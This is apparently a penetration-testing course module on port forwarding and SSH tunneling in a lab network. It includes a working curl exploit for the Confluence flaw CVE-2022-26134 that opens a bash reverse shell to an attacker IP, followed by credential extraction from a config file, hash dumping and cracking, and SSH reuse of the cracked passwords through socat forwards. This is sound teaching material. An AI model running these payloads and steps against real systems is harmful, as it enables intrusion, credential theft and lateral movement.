Vai al contenuto

18. Port Redirection and SSH Tunneling

In this Learning Module, we will cover the following Learning Units:

  • Port Forwarding on *NIX and Windows Machines
  • SSH Tunneling on (and between) *NIX and Windows Machines

18.1. Why Port Redirection and Tunneling?

This Learning Unit covers the following Learning Objectives:

  1. Understand the difference between common network layouts
  2. Consider the impact of common network security devices
  3. Understand when to use port redirection and tunneling techniques

Most network environments are not (and should not be) flat.1 In a flat network, all devices are able to communicate freely with each other. There is little (or no) attempt to limit the access that each device has to other devices on the same network, regardless of whether devices need to communicate during normal operations.

Flat network topology is generally considered poor security practice. Once an attacker has access to a single host, they can start communicating with every other host. From there, it will be much easier to spread through the network and start compromising other hosts.

A more securely-designed network type is segmented.2 This type of network will be broken into smaller networks, each of which is called a subnet.3 Each subnet will contain a group of devices that have a specific purpose, and devices on that subnet are only granted access to other subnets and hosts when absolutely necessary. Network segmentation severely limits attackers, because compromising a single host no longer gives them free access to every other device on the network.

As part of the network segmentation process, most network administrators will also implement controls that limit the flow of traffic into, out from, and across their networks. To enforce this, they will deploy various technologies throughout the network.

One of the most common technologies used for this are Firewalls.4 Firewalls can be implemented at the endpoint software level. For example, the Linux kernel has firewall capabilities that can be configured with the iptables5 tool suite, while Windows offers the built-in Windows Defender Firewall.6 Firewalls may also be implemented as features within a piece of physical network infrastructure. Administrators may even place a standalone hardware firewall in the network, filtering all traffic.

Firewalls can drop unwanted inbound packets and prevent potentially-malicious traffic from traversing or leaving the network. Firewalls may prevent all but a few allowed hosts from communicating with a port on a particularly privileged server. They can also block some hosts or subnets from accessing the wider internet.

Most firewalls tend to allow or block traffic in line with a set of rules based on IP addresses and port numbers, so their functionality is limited. However, sometimes more fine-grained control is required. Deep Packet Inspection7 monitors the contents of incoming and outgoing traffic and terminates it based on a set of rules.

Boundaries that are put in place by network administrators are designed to prevent the arbitrary movement of data into, out of, and across the network. But, as an attacker, these are exactly the boundaries we need to traverse. We'll need to develop strategies that can help us work around network restrictions as we find them.

Port redirection (a term we are using to describe various types of port forwarding8) and tunneling9 are both strategies we can use to traverse these boundaries. Port redirection means modifying the flow of data so that packets sent to one socket will be taken and passed to another socket. Tunneling means encapsulating10 one type of data stream within another, for example, transporting Hypertext Transfer Protocol (HTTP) traffic within a Secure Shell (SSH) connection (so from an external perspective, only the SSH traffic will be visible).

In this Module, we will introduce port redirection and tunneling techniques through practical examples. We'll ease in by starting with the lowest-complexity techniques, and increase complexity as we move step-by-step towards more hardened network environments. Each new technique will be applied to a new network configuration that is slightly different than the previous. The only tunneling we cover in this particular Module is SSH tunneling, but we will cover more advanced methods in a later Module.

The logical topologies11 we create while chaining these strategies may be difficult to digest at first. We will be making traffic move in ways that may not be initially intuitive. We should take the time to fully understand each technique before advancing to the next. By the end of this Module, we'll have all the tools required to manipulate the flow of traffic in any given network with surgical precision.

18.2. Port Forwarding with Linux Tools

This Learning Unit covers the following Learning Objectives:

  1. Understand what port forwarding is
  2. Learn when to use port forwarding techniques
  3. Use Socat to set up a port forward in Linux

Port forwarding is the most fundamental technique we will examine in this Module. It's also a technique that's very commonly used in general-purpose networking. When port forwarding, we configure a host to listen on one port and relay all packets received on that port to another destination.

In normal network conditions, a network administrator might create a port forward to allow access to a web server behind a firewall. In that case, they would configure the firewall to listen on a given port on one interface, and pass all packets to the web server behind it.

Many home routers also provide port forwarding functionality. These can be configured to listen on a port on the Internet-facing side of the router, then forward connections from that port to another device within the home network.

But how might we use port forwarding as part of an attack chain? In the next section, we'll consider a simple scenario.

18.2.1. A Simple Port Forwarding Scenario

Let's examine a port forwarding scenario. During an assessment, we find a Linux web server running a version of Confluence1 vulnerable to CVE-2022-26134:2 a pre-authentication remote code execution issue. We can exploit this vulnerability and gain a reverse shell from the server.

During our enumeration, we find that this server has two network interfaces: one attached to the same network our Kali machine is also on (which allowed us to route to it directly), and another on an internal subnet. In the Confluence configuration file, we also find credentials and the IP address and port for a PostgreSQL3 database instance on a server in that internal subnet. We want to use these credentials to gain access to the database and enumerate further.

The diagram below shows the network layout, as we understand it so far.

The network layout from our perspective so far

Figure 1: The network layout from our perspective so far

One of the first things to notice about this diagram is that there are two named networks: the Wide Area Network (WAN)4 on the left and the Demilitarized Zone (DMZ)5 on the right. Our Kali machine is in the WAN, the PostgreSQL database server PGDATABASE01 is in the DMZ, and the Confluence server CONFLUENCE01 straddles both.

A WAN is a network that is large and expansive. Some people refer to the public internet as the largest WAN in the world, and some larger organizations will refer to their large internal network as a WAN, or internal WAN. In this case, since we're simulating an attack from an external network, the WAN represents a large corporate internal network, or the internet itself.

Warning

Throughout the exercises in this Module, our Kali machine will be situated in the WAN. We will only be able to route directly from our Kali machine to hosts that are also on the WAN.

A DMZ is a network containing devices that may be more exposed to a wider, less trusted network. A DMZ helps create a buffer zone between hosts on the wider, less trusted network and internal hosts. In this way, it serves a similar function to a real-world Demilitarized zone.6 In this scenario, the DMZ is the buffer network segment between the WAN and whatever other internal networks we may find.

CONFLUENCE01 is straddling both the WAN and DMZ to illustrate that it is able to communicate on both networks. CONFLUENCE01 is also listening on TCP port 8090, illustrated by the "open socket" attached to the icon.

PGDATABASE01 is within the DMZ network boundary - it does not straddle the WAN/DMZ. Our Kali machine is not in the DMZ, so we can't directly route to PGDATABASE01. PGDATABASE01 also has an "open socket" attached to it, illustrating that there's something listening on TCP port 5432 (this is likely a PostgreSQL server, since the default port is 5432).

Warning

Since the only thing we know about PGDATABASE01 so far is that it exists, we don't yet know if it's attached to any other networks. If later we find that PGDATABASE01 is attached to other networks, we will expand our network diagram.

With the credentials we found on CONFLUENCE01, we want to try to connect to this PostgreSQL port on PGDATABASE01 from our Kali machine.

Before getting into more detail, let's set up our lab environment to recreate the scenario we've described so far.

Warning

At the end of the Port Forwarding with Socat section of this Learning Unit, a group of VMs are provided that can be used to follow along with the following sections. These VMs are provided so you can gain hands-on experience with all the techniques we cover. You can start the VM group at any point and follow along at whatever pace feels comfortable.

18.2.2. Setting Up the Lab Environment

To gain access to CONFLUENCE01, we need to leverage the command execution vulnerability in the Confluence web application to get a reverse shell. After discovering that the Confluence web application is vulnerable to CVE-2022-26134, we'll find a blog post from Rapid71 that includes a cURL2 command containing a proof-of-concept3 payload that claims to exploit the vulnerability and return a reverse shell.

Bash
curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/
Listing 1 - The example payload from the Rapid7 blog post.

We don't run payloads without understanding exactly what they do, so we first need to figure out what's happening in this proof-of-concept.

The verbose (-v) curl request is being made to http://10.0.0.28:8090, which we assume is the blogpost author's vulnerable Confluence server. After this, the URL path4 looks more interesting. We observe that a lot of the characters in it are URL encoded,5 so we need to URL decode them to get a clearer sense of what the payload actually does.

Warning

You can quickly URL decode strings by selecting Decode As... > URL in the Decoder tab in Burp,6 or using an online tool such as CyberChef.7 If working with sensitive information in a real corporate environment, you should avoid pasting data into online tools. However, in this case we're decoding a proof-of-concept that's already public, so we can use online tools if necessary.

After URL decoding the path, the function of the payload is clearer.

Bash
/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}/
Listing 2 - The example payload URL-decoded.

The URL path is an OGNL injection payload. OGNL is Object-Graph Notation Language,8 an expression language commonly used in Java applications. OGNL injection can take place when an application handles user input in such a way that it gets passed to the OGNL expression parser. Since it's possible to execute Java code within OGNL expressions, OGNL injection can be used to execute arbitrary code.

The OGNL injection payload itself uses Java's ProcessBuilder9 class to spawn a Bash interactive reverse shell (bash -i).

This proof-of-concept payload is almost perfect for our needs. However, we need to modify it before we can use it. This is for two reasons. First, the Confluence server that the payload is pointing to in the original payload is not where our vulnerable Confluence server is. Second, the Bash reverse shell payload is pointing at port 1270 on 10.0.0.28, which is not where our Kali machine is. We need to modify these parameters in the payload before we can reuse it to exploit CONFLUENCE01 and return a shell to our own Kali machine.

While making these modifications, we also need to take the URL encoding into account. The payload string in the proof-of-concept isn't completely URL encoded. Certain characters (notably ".", "-" and "/") are not encoded. Although it's not always the case, for this particular exploit, this turns out to be important to the functioning of the payload. If any of these characters are encoded, the server will parse the URL differently, and the payload may not execute. This means we can't apply URL encoding across the whole payload once we've modified it.

Keeping this in mind, we'll manually modify the parameters we need, using the original proof-of-concept payload as our base. We can change the Confluence server IP to 192.168.50.63, and the Bash interactive shell payload IP and port to a listener we're going to open on our Kali machine (/dev/tcp/192.168.118.4/4444). We'll also remove the curl verbosity flag. This leaves us with the following modified payload:

Bash
curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/
Listing 3 - The modified payload.

Now that our payload is customized for our use, we can start a Netcat10 listener on our Kali machine on TCP port 4444.

Bash
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
Listing 4 - Starting Netcat listener on port 4444 on our Kali machine.

With our listener running, we'll open another shell on our Kali machine, then run the curl command we just constructed.

Bash
kali@kali:~$ curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/

kali@kali:~$ 
Listing 5 - Executing the modified reverse shell payload.

The command itself doesn't return anything, but the reverse shell is caught by our listener.

Bash
...
listening on [any] 4444 ...
connect to [192.168.118.4] from (UNKNOWN) [192.168.50.63] 55876
bash: cannot set terminal process group (813): Inappropriate ioctl for device
bash: no job control in this shell
confluence@confluence01:/opt/atlassian/confluence/bin$ id
id
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
Listing 6 - Bash reverse shell caught by our Netcat listener, and confirmed with the id command.

The id command confirms that this shell is running with the privileges of the confluence user. This user has quite limited privileges. Regardless, we now have a reverse shell from CONFLUENCE01 to our Kali machine.

We can now start some light enumeration of CONFLUENCE01 using our new shell. We'll check the network interfaces using ip addr.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:8a:54:46 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.63/24 brd 192.168.50.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:5446/64 scope link 
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:8a:c2:c9 brd ff:ff:ff:ff:ff:ff
    inet 10.4.50.63/24 brd 10.4.50.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe8a:c2c9/64 scope link 
       valid_lft forever preferred_lft forever
Listing 7 - Enumerating network interfaces on CONFLUENCE01.

The output shows us that CONFLUENCE01 has two network interfaces: ens192 and ens224. ens192 has the IP address 192.168.50.63, and ens224 has the IP address 10.4.50.63. We can then check the routes using ip route.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ ip route
ip route
default via 192.168.50.254 dev ens192 proto static 
10.4.50.0/24 dev ens224 proto kernel scope link src 10.4.50.63 
10.4.50.0/24 via 10.4.50.254 dev ens224 proto static
192.168.50.0/24 dev ens192 proto kernel scope link src 192.168.50.63
Listing 8 - Enumerating routes on CONFLUENCE01.

The command shows us that we should be able to access hosts in the 192.168.50.0/24 subnet through the ens192 interface, and hosts in the 10.4.50.0/24 subnet through the ens224 interface.

Continuing our enumeration, we'll find the Confluence configuration file at /var/atlassian/application-data/confluence/confluence.cfg.xml. While reading the contents using cat, we discover some plaintext database credentials located within.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ cat /var/atlassian/application-data/confluence/confluence.cfg.xml
<sian/application-data/confluence/confluence.cfg.xml   
<?xml version="1.0" encoding="UTF-8"?>

<confluence-configuration>
  <setupStep>complete</setupStep>
  <setupType>custom</setupType>
  <buildNumber>8703</buildNumber>
  <properties>
...
    <property name="hibernate.connection.password">D@t4basePassw0rd!</property>
    <property name="hibernate.connection.url">jdbc:postgresql://10.4.50.215:5432/confluence</property>
    <property name="hibernate.connection.username">postgres</property>
...
  </properties>
</confluence-configuration>
confluence@confluence01:/opt/atlassian/confluence/bin$ 
Listing 9 - The credentials found in the Confluence confluence.cfg.xml file on CONFLUENCE01.

We'll find the IP address of the database server, as well as the plain text username and password used to connect to it. We can use these credentials to authenticate to the database and continue our enumeration.

We've hit a limitation, however. CONFLUENCE01 doesn't have a PostgreSQL client installed on it. Since we are running as the low-privileged confluence user, we are also unable to easily install software.

We do have the PostgreSQL client psql installed on our Kali machine, but we can't connect directly to PGDATABASE01 from our Kali machine, since it's only routable from CONFLUENCE01.

In this scenario, there is no firewall in place between our Kali machine and CONFLUENCE01, meaning that there is nothing stopping us from binding ports on the WAN interface of CONFLUENCE01 and connecting to them from our Kali machine.

This is exactly the type of situation in which port forwarding can be useful. We can create a port forward on CONFLUENCE01 that listens on a port on the WAN interface, then forward all packets received on this port to the PGDATABASE01 on the internal subnet. In the next section, we will use Socat11 to achieve this.

18.2.3. Port Forwarding with Socat

Now we are ready to create a port forward. We have an idea of how we want it to work: CONFLUENCE01 should listen on a port on the WAN interface and forward all packets received on this port to the PGDATABASE01 on the internal subnet. This concept is illustrated in the following diagram:

The way we expect our port forward to work

Figure 2: The way we expect our port forward to work

We want to open TCP port 2345 on the WAN interface of CONFLUENCE01, then connect to that port from our Kali machine. We want all the packets that we send to this port to be forwarded by CONFLUENCE01 to TCP port 5432 on PGDATABASE01. Once we set up our port forward, connecting to TCP port 2345 on CONFLUENCE01 will be exactly like connecting directly to TCP port 5432 on PGDATABASE01.

As part of our enumeration of CONFLUENCE01, we'll find Socat installed. Socat is a general-purpose networking tool that can set up a simple port forward in a single command.

Warning

In this scenario, we find it already installed, but Socat does not tend to be installed by default on *NIX systems. If not already installed, it's possible to download and run a statically-linked binary version instead.

We will use Socat to set up the port forward we want on CONFLUENCE01. It will listen on a port on the WAN interface (that our Kali machine can connect to) and forward packets received on that port to PGDATABASE01.

On CONFLUENCE01, we'll start a verbose (-ddd) Socat process. It will listen on TCP port 2345 (TCP-LISTEN:2345), fork into a new subprocess when it receives a connection (fork) instead of dying after a single connection, then forward all traffic it receives to TCP port 5432 on PGDATABASE01 (TCP:10.4.50.215:5432).

Warning

We'll listen on port 2345 as it's not in the privileged port range (0-1024), which means we don't need elevated privileges to use it.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
<ocat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432   
2022/08/18 10:12:01 socat[46589] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2022/08/18 10:12:01 socat[46589] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2022/08/18 10:12:01 socat[46589] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2022/08/18 10:12:01 socat[46589] I setting option "fork" to 1
2022/08/18 10:12:01 socat[46589] I socket(2, 1, 6) -> 5
2022/08/18 10:12:01 socat[46589] I starting accept loop
2022/08/18 10:12:01 socat[46589] N listening on AF=2 0.0.0.0:2345
Listing 10 - Running the Socat port forward command.

The network is now set up like the following diagram:

Socat in place as our port forwarder

Figure 3: Socat in place as our port forwarder

With the Socat process running, we can run psql on our Kali machine, specifying that we want to connect to CONFLUENCE01 (-h 192.168.50.63) on port 2345 (-p 2345) with the postgres user account (-U postgres). When prompted, we will enter the password, and once connected, we can run the \l command to list the available databases.

Bash
kali@kali:~$ psql -h 192.168.50.63 -p 2345 -U postgres
Password for user postgres: 
psql (14.2 (Debian 14.2-1+b3), server 12.11 (Ubuntu 12.11-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l
                                  List of databases
    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
------------+----------+----------+-------------+-------------+-----------------------
 confluence | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
 template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
(4 rows)
Listing 11 - Connecting to the PGDATABASE01 PostgreSQL service and listing databases using psql, through our port forward.

Success! We've connected to the PostgreSQL database through our port forward. We'll also find that we have access to the confluence database.

Using our new database access, we can continue our enumeration. In the confluence database, let's query the cwd_user table. This contains the username and password hashes for all Confluence users. We'll connect to the database with the \c confluence command, then run select * from cwd_user; to review everything in that table.

Bash
postgres=# \c confluence
psql (14.2 (Debian 14.2-1+b3), server 12.11 (Ubuntu 12.11-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "confluence" as user "postgres".

confluence=# select * from cwd_user;

   id    |   user_name    | lower_user_name | active |      created_date       |      updated_date       | first_name | lower_first_name |   last_name   | lower_last_name |      display_name      |   lower_display_name   |           email_address            |        lower_email_address         |             external_id              | directory_id |                                credential                                 
---------+----------------+-----------------+--------+-------------------------+-------------------------+------------+------------------+---------------+-----------------+------------------------+------------------------+------------------------------------+------------------------------------+--------------------------------------+--------------+---------------------------------------------------------------------------
  458753 | admin          | admin           | T      | 2022-08-17 15:51:40.803 | 2022-08-17 15:51:40.803 | Alice      | alice            | Admin         | admin           | Alice Admin            | alice admin            | alice@industries.internal          | alice@industries.internal          | c2ec8ebf-46d9-4f5f-aae6-5af7efadb71c |       327681 | {PKCS5S2}WbziI52BKm4DGqhD1/mCYXPl06IAwV7MG7UdZrzUqDG8ZSu15/wyt3XcVSOBo6bC
 1212418 | trouble        | trouble         | T      | 2022-08-18 10:31:48.422 | 2022-08-18 10:31:48.422 |            |                  | Trouble       | trouble         | Trouble                | trouble                | trouble@industries.internal        | trouble@industries.internal        | 164eb9b5-b6ef-4c0f-be76-95d19987d36f |       327681 | {PKCS5S2}A+U22DLqNsq28a34BzbiNxzEvqJ+vBFdiouyQg/KXkjK0Yd9jdfFavbhcfZG1rHE
 1212419 | happiness      | happiness       | T      | 2022-08-18 10:33:49.058 | 2022-08-18 10:33:49.058 |            |                  | Happiness     | happiness       | Happiness              | happiness              | happiness@industries.internal      | happiness@industries.internal      | b842163d-6ff5-4858-bf54-92a8f5b28251 |       327681 | {PKCS5S2}R7/ABMLgNl/FZr7vvUlCPfeCup9dpg5rplddR6NJq8cZ8Nqq+YAQaHEauk/HTP49
 1212417 | database_admin | database_admin  | T      | 2022-08-18 10:24:34.429 | 2022-08-18 10:24:34.429 | Database   | database         | Admin Account | admin account   | Database Admin Account | database admin account | database_admin@industries.internal | database_admin@industries.internal | 34901af8-b2af-4c98-ad1d-f1e7ed1e52de |       327681 | {PKCS5S2}QkXnkmaBicpsp0B58Ib9W5NDFL+1UXgOmJIvwKjg5gFjXMvfeJ3qkWksU3XazzK0
 1212420 | hr_admin       | hr_admin        | T      | 2022-08-18 18:39:04.59  | 2022-08-18 18:39:04.59  | HR         | hr               | Admin         | admin           | HR Admin               | hr admin               | hr_admin@industries.internal       | hr_admin@industries.internal       | 2f3cc06a-7b08-467e-9891-aaaaeffe56ea |       327681 | {PKCS5S2}EiMTuK5u8IC9qGGBt5cVJKLu0uMz7jN21nQzqHGzEoLl6PBbUOut4UnzZWnqCamV
 1441793 | rdp_admin      | rdp_admin       | T      | 2022-08-20 20:46:03.325 | 2022-08-20 20:46:03.325 | RDP        | rdp              | Admin         | admin           | RDP Admin              | rdp admin              | rdp_admin@industries.internal      | rdp_admin@industries.internal      | e9a9e0f5-42a2-433a-91c1-73c5f4cc42e3 |       327681 | {PKCS5S2}skupO/gzzNBHhLkzH3cejQRQSP9vY4PJNT6DrjBYBs23VRAq4F5N85OAAdCv8S34
(6 rows)

(END)
Listing 12 - The contents of the cwd_user table in the confluence database.

We receive several rows of user information. Each row contains data for a single Confluence user, including their password hash. We will use Hashcat1 to try to crack these.

The Hashcat mode number for Atlassian (PBKDF2-HMAC-SHA1) hashes2 is 12001, so we can pass that to the -m mode flag. After copying the hashes into a file called hashes.txt, we'll pass this as the first positional argument. We can then pass the fastrack.txt password list that's built into Kali as the final positional argument.

Bash
kali@kali:~$ hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt 
hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 2917/5899 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

...

{PKCS5S2}skupO/gzzNBHhLkzH3cejQRQSP9vY4PJNT6DrjBYBs23VRAq4F5N85OAAdCv8S34:P@ssw0rd!
{PKCS5S2}QkXnkmaBicpsp0B58Ib9W5NDFL+1UXgOmJIvwKjg5gFjXMvfeJ3qkWksU3XazzK0:sqlpass123
{PKCS5S2}EiMTuK5u8IC9qGGBt5cVJKLu0uMz7jN21nQzqHGzEoLl6PBbUOut4UnzZWnqCamV:Welcome1234
...
Listing 13 - Hashcat having cracked the database_admin, hr_admin and rdp_admin account hashes.

It appears that the password policy for this Confluence instance isn't very strong. After only a few minutes of cracking, Hashcat returns passwords for the database_admin, hr_admin and rdp_admin users.

We might suspect that these passwords are reused in other places throughout the network. After some more enumeration of the internal network, we'll find PGDATABASE01 is also running an SSH server. Let's try these credentials against this SSH server. With our new port forwarding skill, we can create a port forward on CONFLUENCE01 that will allow us to SSH directly from our Kali machine to PGDATABASE01.

First, we need to kill the original Socat process listening on TCP port 2345. We'll then create a new port forward with Socat that will listen on TCP port 2222 and forward to TCP port 22 on PGDATABASE01.

Bash
confluence@confluence01:/opt/atlassian/confluence/bin$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
</bin$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22 
Listing 14 - Creating a new port forward with Socat to access the SSH service on PGDATABASE01.

With our new Socat port forward set up, our network setup will be configured much like the following diagram:

Using Socat to open a port forward from CONFLUENCE01 to the SSH server on PGDATABASE01

Figure 4: Using Socat to open a port forward from CONFLUENCE01 to the SSH server on PGDATABASE01

There are only very minimal differences between this and the previous network setup. Instead of listening on 2345, we are listening on 2222. Instead of forwarding to TCP port 5432 on PGDATABASE01, we are forwarding to TCP port 22 on PGDATABASE01.

We'll then use our SSH client to connect to port 2222 on CONFLUENCE01, as though we are connecting directly to port 22 on PGDATABASE01. We can use the database_admin user, and the password we just cracked using Hashcat.

Bash
kali@kali:~$ ssh database_admin@192.168.50.63 -p2222
The authenticity of host '[192.168.50.63]:2222 ([192.168.50.63]:2222)' can't be established.
ED25519 key fingerprint is SHA256:3TRC1ZwtlQexLTS04hV3ZMbFn30lYFuQVQHjUqlYzJo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.50.63]:2222' (ED25519) to the list of known hosts.
database_admin@192.168.50.63's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 Aug 2022 11:43:07 AM UTC

  System load:  0.1               Processes:               241
  Usage of /:   59.3% of 7.77GB   Users logged in:         1
  Memory usage: 16%               IPv4 address for ens192: 10.4.50.215
  Swap usage:   0%                IPv4 address for ens224: 172.16.50.215


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

database_admin@pgdatabase01:~$
Listing 15 - Connecting to SSH server on PGDATABASE01, through the port forward on CONFLUENCE01.

Success! The database_admin credentials have been reused here. We have managed to connect to the SSH server on PGDATABASE01 using the credentials for database_admin we found in the PostgreSQL database through the port forward we set up on CONFLUENCE01 with Socat.

In this Learning Unit, we created some simple port forwards using Socat. These allowed us to gain deeper access within a network by leveraging our existing access to a compromised host.

It should also be noted that Socat is not the only way to create port forwards on *NIX hosts. There are several alternatives, of note:

  • rinetd3 is an option that runs as a daemon. This makes it a better solution for longer-term port forwarding configurations, but is slightly unwieldy for temporary port forwarding solutions.

  • We can combine Netcat and a FIFO4 named pipe file to create a port forward.5

  • If we have root privileges, we could use iptables to create port forwards. The specific iptables port forwarding setup for a given host will likely depend on the configuration already in place. To be able to forward packets in Linux also requires enabling forwarding on the interface we want to forward on by writing "1" to /proc/sys/net/ipv4/conf/[interface]/forwarding (if it's not already configured to allow it).

18.3. SSH Tunneling

This Learning Unit covers the following Learning Objectives:

  1. Learn the fundamentals of SSH tunneling
  2. Use SSH local, dynamic, remote, and remote dynamic port forwarding methods
  3. Understand the pros and cons of using sshuttle

At a high-level, tunneling describes the act of encapsulating one kind of data stream within another as it travels across a network. Certain protocols called tunneling protocols1 are designed specifically to do this. Secure Shell (SSH)2 is an example of one of these protocols.3

SSH was initially developed to give administrators the ability to log in to their servers remotely through an encrypted connection. Before SSH, tools such as rsh, rlogin,4 and Telnet5 provided similar remote administration capabilities, but over an unencrypted connection.

In the background of each SSH connection, all shell commands, passwords, and data are transported through an encrypted tunnel built using the SSH protocol. The SSH protocol is primarily a tunneling protocol, so it's possible to pass almost any kind of data through an SSH connection. For that reason, tunneling capabilities are built into most SSH tools.

Another great benefit of SSH tunneling is how its use can easily blend into the background traffic of network environments. SSH is used often by network administrators for legitimate remote administration purposes, and flexible port forwarding setups in restrictive network situations. It's therefore common to find SSH client software already installed on Linux hosts, or even SSH servers running there. It's also increasingly common to find OpenSSH6 client software installed on Windows hosts. In network environments that are not heavily monitored, SSH traffic will not seem anomalous, and SSH traffic will look much like regular administrative traffic. Its contents also cannot be easily monitored.

In most official documentation, tunneling data through an SSH connection is referred to as SSH port forwarding.7 Different SSH software will provide slightly different port forwarding capabilities. We will cover all common SSH port forwarding types offered by OpenSSH in this Learning Unit.

SSH port forwarding can be a hugely powerful tool in any network situation, but it can also be a very useful option for attackers working in restrictive network environments.

18.3.1. SSH Local Port Forwarding

Let's recall the first port forwarding example from the Socat scenario. We set up Socat to listen on TCP port 2345 on the WAN interface of CONFLUENCE01. Packets it received on that port were forwarded to TCP port 5432 on PGDATABASE01. We used this to connect from our Kali machine, through CONFLUENCE01, to the PostgreSQL service on PGDATABASE01. The crucial thing to notice in this case is that listening and forwarding were both done from the same host (CONFLUENCE01).

SSH local port forwarding1 adds a small twist to this. With SSH local port forwarding, packets are not forwarded by the same host that listens for packets. Instead, an SSH connection is made between two hosts (an SSH client and an SSH server), a listening port is opened by the SSH client, and all packets received on this port are tunneled through the SSH connection to the SSH server. The packets are then forwarded by the SSH server to the socket we specify.

This concept might seem a bit abstract at the moment. We can understand it better by getting some experience setting up a local port forward.

Let's reconsider the previous scenario with a slight modification: Socat is no longer available on CONFLUENCE01. We still have all the credentials we previously cracked from the Confluence database, and there is still no firewall preventing us from connecting to the ports we bind on CONFLUENCE01.

With the database_admin credentials, we'll log in to PGDATABASE01 and find that it's attached to another internal subnet. We find a host with a Server Message Block (SMB) server open (on TCP port 445) in that subnet. We want to be able to connect to that server and download what we find to our Kali machine.

In this type of scenario, we'll plan to create an SSH local port forward as part of our SSH connection from CONFLUENCE01 to PGDATABASE01. We will bind a listening port on the WAN interface of CONFLUENCE01. All packets sent to that port will be forwarded through the SSH tunnel. PGDATABASE01 will then forward these packets toward the SMB port on the new host we found.

The following diagram illustrates our setup:

How we want our SSH local port forward to work in the lab, at a high level

Figure 5: How we want our SSH local port forward to work in the lab, at a high level

In this diagram, we listen on TCP port 4455 on CONFLUENCE01. Packets sent to that port are pushed by the SSH client software on CONFLUENCE01 through the SSH tunnel. At the other end of the tunnel, the SSH server software on PGDATABASE01 forwards them to TCP port 445 on the newly-found host.

Let's set up our lab environment up just like this. A VM group for following along is provided at the bottom of this section.

As before, we can get a shell on CONFLUENCE01 using the cURL one-liner exploit for CVE-2022-26134. We can no longer use Socat to create a port forward that allows us to SSH into PGDATABASE01 from our Kali machine. However, in this case, we can SSH directly from CONFLUENCE01 to PGDATABASE01.

